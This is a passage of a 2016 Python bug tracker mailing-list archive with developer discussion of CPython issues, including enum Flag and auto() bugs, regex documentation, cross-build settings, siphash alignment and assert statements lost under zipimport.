Do you really find this behavior acceptable?? I see at least three bugs here.

At least you did say in the documentation

> Individual flags should have values that are powers of two (1, 2, 4, 8, ...)

but it seems to me it's not prominent enough.

---

Also, auto, despite parentheses, works exactly as it shouldn't.

    >>> class C(enum.Enum):
	a = b = enum.auto()	
    >>> C.a
    <C.a: 1>
    >>> C.b
    <C.b: 2>

    >>> def f():
            return enum.auto()
    >>> class E(enum.Enum):
            a = b = f()
            c = d = 2
    >>> E.a is E.b
    False
    >>> E.c is E.d
    True
    >>> E.b is E.c
    True

In my opinion, this is simply horrible. Even _you_ said (http://bugs.python.org/issue23591#msg275093) this would be unacceptable. I'm really, really sad.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:30:12 2016
From: report at bugs.python.org (triuan)
Date: Tue, 13 Sep 2016 20:30:12 +0000
Subject: [issue28136] RegEx documentation error
Message-ID: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>


New submission from triuan:

https://docs.python.org/2/library/re.html

error:
...string 'aaaaaa', a{3,5} will match 5 'a' characters...

suggest correction:
...string 'aaaaaa', a{5} will match 5 'a' characters...

----------
assignee: docs at python
components: Documentation
messages: 276336
nosy: docs at python, triuan
priority: normal
severity: normal
status: open
title: RegEx documentation error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:31:39 2016
From: report at bugs.python.org (Dima Tisnek)
Date: Tue, 13 Sep 2016 20:31:39 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473798699.81.0.733184971266.issue27908@psf.upfronthosting.co.za>


Dima Tisnek added the comment:

Your logic is accurate; _started is in fact separate from _limbo.

As such taking a lock for "test-then-set" only would suffice.

Now when you bring the other primitive under this lock in one place, it would look cleaner if it was also brought in the other.



There's one more issue with proposed change:

Before the change, if "already started" exception is ever raised for a given Thread object, then it's guaranteed that that object was started successfully.

With the change, it is possible that exception is raised, and thread fails to start, leaving the object in initial state.


If it were up to me, I would buy this limitation as price of safety.
Someone may disagree.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:34:16 2016
From: report at bugs.python.org (triuan)
Date: Tue, 13 Sep 2016 20:34:16 +0000
Subject: [issue28136] RegEx documentation error
In-Reply-To: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>
Message-ID: <1473798856.1.0.387564519674.issue28136@psf.upfronthosting.co.za>


triuan added the comment:

https://docs.python.org/2/library/re.html

error:
...string 'aaaaaa', a{3,5} will match 5 'a' characters...

suggest correction 2:
...string 'aaaaaa', a{3, 5} will match 3 to 5 'a' characters...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:35:23 2016
From: report at bugs.python.org (ppperry)
Date: Tue, 13 Sep 2016 20:35:23 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <1473798923.68.0.701156112951.issue10673@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:38:35 2016
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 13 Sep 2016 20:38:35 +0000
Subject: [issue28048] Adjust class-build method of Enum so final ordered dict
 more closely resembles definition order
In-Reply-To: <1473445598.15.0.0178037460772.issue28048@psf.upfronthosting.co.za>
Message-ID: <1473799115.38.0.361635878616.issue28048@psf.upfronthosting.co.za>


Ethan Furman added the comment:

__definition_order__ was dropped from PEP520, so this issue is moot.

----------
resolution:  -> rejected
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28048>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:40:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 20:40:41 +0000
Subject: [issue28136] RegEx documentation error
In-Reply-To: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>
Message-ID: <1473799241.58.0.486918962081.issue28136@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The documentation is correct. It explains the difference between a default match (greedy) and a non-greedy match.

>>> re.match('(a{3,5})', 'aaaaa').group(1)
'aaaaa'
>>> re.match('(a{3,5}?)', 'aaaaa').group(1)
'aaa'

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:43:06 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 20:43:06 +0000
Subject: [issue28136] RegEx documentation error
In-Reply-To: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>
Message-ID: <1473799386.32.0.0292304194568.issue28136@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:45:04 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Tue, 13 Sep 2016 20:45:04 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473799504.18.0.566151663502.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Hello, and thanks! I'll work on a patch this week, or at most next week. I will make it so that it's completely uncontroversial to apply it to 3.6 as well (won't change the actual feature, only prettify the error message), so no need to worry about that :)

----------
assignee:  -> ebarry
components:  -Library (Lib)
nosy: +ebarry
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:55:59 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 20:55:59 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473777612.41.0.00487108276248.issue28125@psf.upfronthosting.co.za>
Message-ID: <ae539d32-bd0d-20a2-3639-e2e200f63754@debian.org>


Matthias Klose added the comment:

On 13.09.2016 16:40, Xavier de Gaye wrote:
> 
> Xavier de Gaye added the comment:
> 
>> Plus the abi flags should not be set by hand, you'll get in trouble at least for naming extensions, or building extensions for the wrong abi flags. This was an explicit decision when I first started adding the cross-build changes.
> 
> What do you mean ? The abi flags are set by configure and not by hand.
> In which issue is this explicit decision taken, and where is it motivated ?

please try to build extension modules with mismatching abi flags (pydebug is the
relevant one). Post your results for both mismatch cases.

>> So proposing instead to base a cross build on a _PYTHON_MULTIARCH environment variable and deriving the sysconfigdata name on that.
> 
> The _PYTHON_SYSCONFIGDATA_NAME environment variable as the merit to document its purpose with its name. The CPython cross-compilation system is difficult enough to understand that this is a significant advantage.  What are the advantages of introducing this new _PYTHON_MULTIARCH environment variable instead, where else would it be used ?

No, at least it was not difficult when it was created. How did you make it more
difficult?

If we can derive the name, we should do it, not having more special environment
variables when we find the need for it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:07:35 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 21:07:35 +0000
Subject: [issue28137] Windows sys.path file should be renamed
Message-ID: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>


New submission from Steve Dower:

The Windows getpath implementation gained the ability to find and read a sys.path file to skip reading the registry.

While the name is cute, it really ought to start with a leading underscore (i.e. "_sys.path") to indicate that it is very at-your-own-risk. The docs should be updated to indicate that its behavior may be changed in later versions of Python (though it's guaranteed to only change backwards-compatibly for 3.6).

Since the file is only used with a specific installation of Python (specifically the embedded distro), this shouldn't be an issue as nobody is meant to upgrade Python without removing/replacing this file.

----------
assignee: steve.dower
components: Windows
messages: 276343
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows sys.path file should be renamed
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:11:22 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 21:11:22 +0000
Subject: [issue28138] Windows _sys.path file should allow import site
Message-ID: <1473801082.85.0.435937363317.issue28138@psf.upfronthosting.co.za>


New submission from Steve Dower:

Windows's _sys.path file (being renamed from sys.path in b1) currently disable the initial "import site; site.main()" call. However, there are legitimate cases where you may want to opt-in to this while still controlling the search paths.

We should support "import site" as a line in this file that indicates that Py_NoSite should *not* be set. We deliberately do not want arbitrary code execution from this file - there's a reason it's '.path' and not '.pth'

(While I or someone else is here, we should also handle blank lines and lines starting with '#' specially, so that files can be formatted more nicely.)

----------
assignee: steve.dower
components: Windows
messages: 276344
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows _sys.path file should allow import site
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28138>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:19:40 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 21:19:40 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473801580.08.0.859700653939.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

> I believe the unaligned memory access configure check is supposed to
> prevent siphash from being used, so we might look into why that's not
> working.
> 
> IMO, though, we should just require alignment for the argument to
> _PyHash_Bytes. It's private after all.

If I understand it correctly, the hash value differs depending on the kernel configuration when the python binary is built, leading to different pickle objects which cannot be shared, making them incompatible .  I think the safest thing would be to remove the hash make the selection of the hash method unconditional, and to make this hash function working for all cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:21:55 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 21:21:55 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473801715.33.0.976220546677.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

... would be to remove the autoconf check and make the selection of the hash method unconditional ...

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:30:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 21:30:31 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473802231.48.0.0798560909822.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The main reason for two different hash algorithms was missing support for 64bit integer types. Python 3.4 was targeting platforms that had no 64bit integer support at all (IIRC SPARC). Nowaday Python requires 64bit ints to compile.

I'm all in favor to remove FVN2 and use SipHash24 on all platforms. Let's deprecated it now and remove it in 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:32:26 2016
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 13 Sep 2016 21:32:26 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473802346.31.0.213785709539.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Vedran:

1) Thank you for the bug report, it's appreciated.

2) I would appreciate it even more if you just kept it to a bug report
   without the, for lack of a better word, drama.

-----------------------------------------------

>    >>> import enum
>    >>> class B(enum.Flag):
>            b = 3
>            c = 4
>            d = 6
>    >>> B.b | B.c
>    Traceback (most recent call last): ...
>    ValueError: 7 is not a valid B

This part is correct.  If the programmer wants to use actual values instead of auto() then it is on them to do it correctly.  I'd be happy to add a decorator to help ensure all bits have names, but I'm not sure what to call it.

-----------------------------------------------

>    >>> t = B.b | B.c
>    >>> t
>    <B.d|1: 7>

>    >>> ~B.d
>    <B.0: 0>

These parts are not, and will be fixed.

-----------------------------------------------

>    >>> class C(enum.Enum):
>	a = b = enum.auto()	
>    >>> C.a
>    <C.a: 1>
>    >>> C.b
>    <C.b: 2>

Bug, will be fixed.

>    >>> def f():
>            return enum.auto()
>    >>> class E(enum.Enum):
>            a = b = f()
>            c = d = 2
>    >>> E.a is E.b
>    False

Same as above bug, will be fixed

>    >>> E.c is E.d
>    True
>    >>> E.b is E.c
>    True

Same as above bug, will be fixed.  (Had "a" and "b" been given different "auto()"s that last True would be correct as "b" would then have had a value of 2 from auto(), and "c" and "d" also were given values of 2, so all three would have been the same.)

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:43:49 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 21:43:49 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473803029.55.0.459253004898.issue28125@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

You do not answer my questions and resort to sarcasm instead: "How did you make it more difficult?". I understand that you may be upset because issue 23968 has been dismantled by the recent decision of removing the platdir files, but please keep exchanges on the bug tracker strictly on a technical level.

I am strongly opposed to this change for the reasons given in my first post.  Unless you can explain why this change is needed, please close this issue as rejected.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:43:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 21:43:58 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473803038.25.0.194149109126.issue28137@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I don't want to start a bike-shedding discussion but how about a name that can't be confused with a module and attribute? It's hard to distinguish between sys.path and sys.path in a discussion. How do you like the idea of a file name like __syspath__.path? __omitregistry__.path is even more search engine friendly.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:50:00 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 21:50:00 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473803029.55.0.459253004898.issue28125@psf.upfronthosting.co.za>
Message-ID: <286a0949-b30e-b195-0535-7b6d89c15297@debian.org>


Matthias Klose added the comment:

On 13.09.2016 23:43, Xavier de Gaye wrote:
> 
> Xavier de Gaye added the comment:
> 
> You do not answer my questions and resort to sarcasm instead: "How did you make it more difficult?". I understand that you may be upset because issue 23968 has been dismantled by the recent decision of removing the platdir files, but please keep exchanges on the bug tracker strictly on a technical level.
> 
> I am strongly opposed to this change for the reasons given in my first post.  Unless you can explain why this change is needed, please close this issue as rejected.

you do not listen. _PYTHON_HOST_PLATFORM is already defined, and released in
3.5. Why can't you have a look at the code?  Please calm down.  Don't invent new
solutions but instead use the existing ones. You can reach me on irc too, if you
think I offend you (I don't intend to), I'd like to carry on with the cross
builds including android, but not having the existing cross build infrastructure
being replaced by some new android concepts.

Matthias

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:54:40 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 21:54:40 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473803680.11.0.853067792892.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

if the only concern is 32bit sparc, then please let's drop this in 3.6.

Looking at #28027 the new way to obsoleting things seems to be decreeing them (sorry about the sarcasm).  If I interpret your concerns correctly you care about platforms, which you are not supposed to care about. sparc32 doesn't have any use cases now, while ARM32 still has, and will have for some time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 17:55:29 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 21:55:29 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473803729.58.0.111797996915.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


----------
nosy: +gvanrossum, ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:01:54 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 22:01:54 +0000
Subject: [issue28137] Windows sys.path file should be renamed
In-Reply-To: <1473800855.2.0.943648814208.issue28137@psf.upfronthosting.co.za>
Message-ID: <1473804114.75.0.827475373738.issue28137@psf.upfronthosting.co.za>


Steve Dower added the comment:

Part of the reason it was so cute is that it directly specifies the contents of sys.path. But I like __syspath__.path (I'm scared of making it a ".ini" because I don't want to parse a more complex format).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28137>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:09:08 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 13 Sep 2016 22:09:08 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473804548.76.0.505006631564.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

About drama: I don't know how to approach the problem. I tell you about various concerns of mine, you seem to agree, and still you do exactly what I was warning you about. It could be that you just consider me a boring nag, but then saying so would be more useful than this situation.

---

Yes, you solved some problems I did have, and it's great, but still many of them remain. This thing is inherently complicated. You are trying to construct a discrete Boolean algebra, but without any guarantee of atoms. Imagine if the language was different:

    class MySets(DiscreteSets):
        a = {0, 1}
        b = {2}
        c = {1, 2}

You'd naturally view {0}, {1} and {2} as atoms, of different "sort" than {0,1} and such. That's what's missing here: a clear distinction between atoms and "molecules". It could be that the intended usage is for atoms to _always_ be constructed with auto(), and for molecules to be constructed from previous atoms, but then the documentation ought to say so.

So far, the only thing you say is "then it is on them to do it correctly", but you never really tell what "correctly" means. I understand your desire not to hard forbid anything, but the docs should tell how your class is _intended_ to be used, _AND_ the class should make every reasonable effort to preserve what it can of its behavior even in the face of not-quite-intended usage. Look at Raymond's collections.Counter's treatment of non-integer values for example.

BTW I'm not aware of any stdlib object whose repr raises ValueError. It surely makes debugging a lot harder.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:14:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 22:14:53 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473804893.72.0.38547594725.issue28055@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> IMO, though, we should just require alignment for the argument to _PyHash_Bytes. It's private after all.

And what to do with memoryview? Memoryview data can be not aligned.

> If I understand it correctly, the hash value differs depending on the kernel configuration when the python binary is built, leading to different pickle objects which cannot be shared, making them incompatible .

Hash values shouldn't be leaked in pickle.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:20:49 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 22:20:49 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473805249.79.0.173980021578.issue27778@psf.upfronthosting.co.za>


Martin Panter added the comment:

I understand it?s already implemented, and Victor just reopened it for more documentation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:21:35 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 22:21:35 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473805295.28.0.982135512299.issue28125@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

What do you mean ? When cross-compiling, _PYTHON_HOST_PLATFORM is defined as $MACHDEP-$_host_cpu, but _PYTHON_SYSCONFIGDATA_NAME is suffixed with $(MACHDEP)_$(MULTIARCH) instead.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:26:49 2016
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 13 Sep 2016 22:26:49 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473805609.74.0.252564287533.issue23591@psf.upfronthosting.co.za>


Ethan Furman added the comment:

I'll respond to the bulk of your comment later.  For now let me assure you your feedback has been invaluable.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:29:49 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 13 Sep 2016 22:29:49 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473805789.8.0.147321260317.issue28131@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

This shouldn't be happening and makes no sense.  It looks like the assert statement was removed at import code compilation time given the pdb trace with it from a zip file vs with it outside of a zip file:


>>> pdb.run('mod.test(False)')
> <string>(1)<module>()
(Pdb) n
False
--Return--
> <string>(1)<module>()->None
(Pdb) n
>>> pdb.run('mod.test(False)')
> <string>(1)<module>()->None
(Pdb) s
--Call--
> oss/cpython/build/mod.zip/mod.py(1)test()
-> def test(val):
(Pdb) s
> oss/cpython/build/mod.zip/mod.py(3)test()
-> print(val)
(Pdb) s
False
--Return--
> oss/cpython/build/mod.zip/mod.py(3)test()->None
-> print(val)
(Pdb) s
--Return--
> <string>(1)<module>()->None
(Pdb) s
> oss/cpython/default/Lib/bdb.py(435)run()
-> self.quitting = True
(Pdb) s
>>> 

vs no zip file:

>>> pdb.run('mod.test(False)')
> <string>(1)<module>()
(Pdb) s
--Call--
> oss/cpython/build/mod.py(1)test()
-> def test(val):
(Pdb) s
> oss/cpython/build/mod.py(2)test()
-> assert(val)
(Pdb) s
AssertionError
> oss/cpython/build/mod.py(2)test()
-> assert(val)
(Pdb) s
--Return--
> oss/cpython/build/mod.py(2)test()->None
-> assert(val)
(Pdb) s
AssertionError
> <string>(1)<module>()
(Pdb) s
--Return--
> <string>(1)<module>()->None
(Pdb) s
AssertionError
> oss/cpython/default/Lib/bdb.py(431)run()
-> exec(cmd, globals, locals)
(Pdb) s
> oss/cpython/default/Lib/bdb.py(432)run()
-> except BdbQuit:
(Pdb) s
> oss/cpython/default/Lib/bdb.py(435)run()
-> self.quitting = True
(Pdb) s
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "oss/cpython/default/Lib/pdb.py", line 1568, in run
    Pdb().run(statement, globals, locals)
  File "oss/cpython/default/Lib/bdb.py", line 431, in run
    exec(cmd, globals, locals)
  File "<string>", line 1, in <module>
  File "oss/cpython/build/mod.py", line 2, in test
    assert(val)
AssertionError

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:31:07 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 13 Sep 2016 22:31:07 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473805867.68.0.630690505424.issue28131@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

from the zip:

>>> dis.dis(mod.test)
  3           0 LOAD_GLOBAL              0 (print)
              2 LOAD_FAST                0 (val)
              4 CALL_FUNCTION            1
              6 POP_TOP
              8 LOAD_CONST               0 (None)
             10 RETURN_VALUE

from the filesystem:
>>> dis.dis(mod.test)
  2           0 LOAD_FAST                0 (val)
              2 POP_JUMP_IF_TRUE         8
              4 LOAD_GLOBAL              0 (AssertionError)
              6 RAISE_VARARGS            1

  3     >>    8 LOAD_GLOBAL              1 (print)
             10 LOAD_FAST                0 (val)
             12 CALL_FUNCTION            1
             14 POP_TOP
             16 LOAD_CONST               0 (None)
             18 RETURN_VALUE

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:31:47 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 22:31:47 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473805907.19.0.35358794767.issue28125@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> but not having the existing cross build infrastructure being replaced by some new android concepts.

Running 'hg log' on configure.ac and Makefile.pre.in shows that there is not a single change in the cross build infrastructure done for some new android concept, whatever that means.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:56:29 2016
From: report at bugs.python.org (Ryan May)
Date: Tue, 13 Sep 2016 22:56:29 +0000
Subject: [issue26219] implement per-opcode cache in ceval
In-Reply-To: <1453918500.26.0.0886095278127.issue26219@psf.upfronthosting.co.za>
Message-ID: <1473807389.82.0.661755683348.issue26219@psf.upfronthosting.co.za>


Changes by Ryan May <rmay31 at gmail.com>:


----------
nosy: +Ryan May

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26219>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:57:13 2016
From: report at bugs.python.org (Ryan May)
Date: Tue, 13 Sep 2016 22:57:13 +0000
Subject: [issue26110] Speedup method calls 1.2x
In-Reply-To: <1452791347.05.0.923215900831.issue26110@psf.upfronthosting.co.za>
Message-ID: <1473807433.82.0.687580281193.issue26110@psf.upfronthosting.co.za>


Changes by Ryan May <rmay31 at gmail.com>:


----------
nosy: +Ryan May

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26110>
_______________________________________

From report at bugs.python.org  Tue Sep 13 18:57:22 2016
From: report at bugs.python.org (Ryan May)
Date: Tue, 13 Sep 2016 22:57:22 +0000
Subject: [issue26647] ceval: use Wordcode, 16-bit bytecode
In-Reply-To: <1459034868.93.0.159802163565.issue26647@psf.upfronthosting.co.za>
Message-ID: <1473807442.2.0.298196871676.issue26647@psf.upfronthosting.co.za>


Changes by Ryan May <rmay31 at gmail.com>:


----------
nosy: +Ryan May

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26647>
_______________________________________

From report at bugs.python.org  Tue Sep 13 19:09:40 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 13 Sep 2016 23:09:40 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473808179.99.0.210905416159.issue28055@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy:  -gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 19:57:43 2016
From: report at bugs.python.org (triuan)
Date: Tue, 13 Sep 2016 23:57:43 +0000
Subject: [issue28136] RegEx documentation error
In-Reply-To: <1473798612.84.0.969871008678.issue28136@psf.upfronthosting.co.za>
Message-ID: <1473811063.5.0.100346775112.issue28136@psf.upfronthosting.co.za>


triuan added the comment:

thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28136>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:07:59 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 00:07:59 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
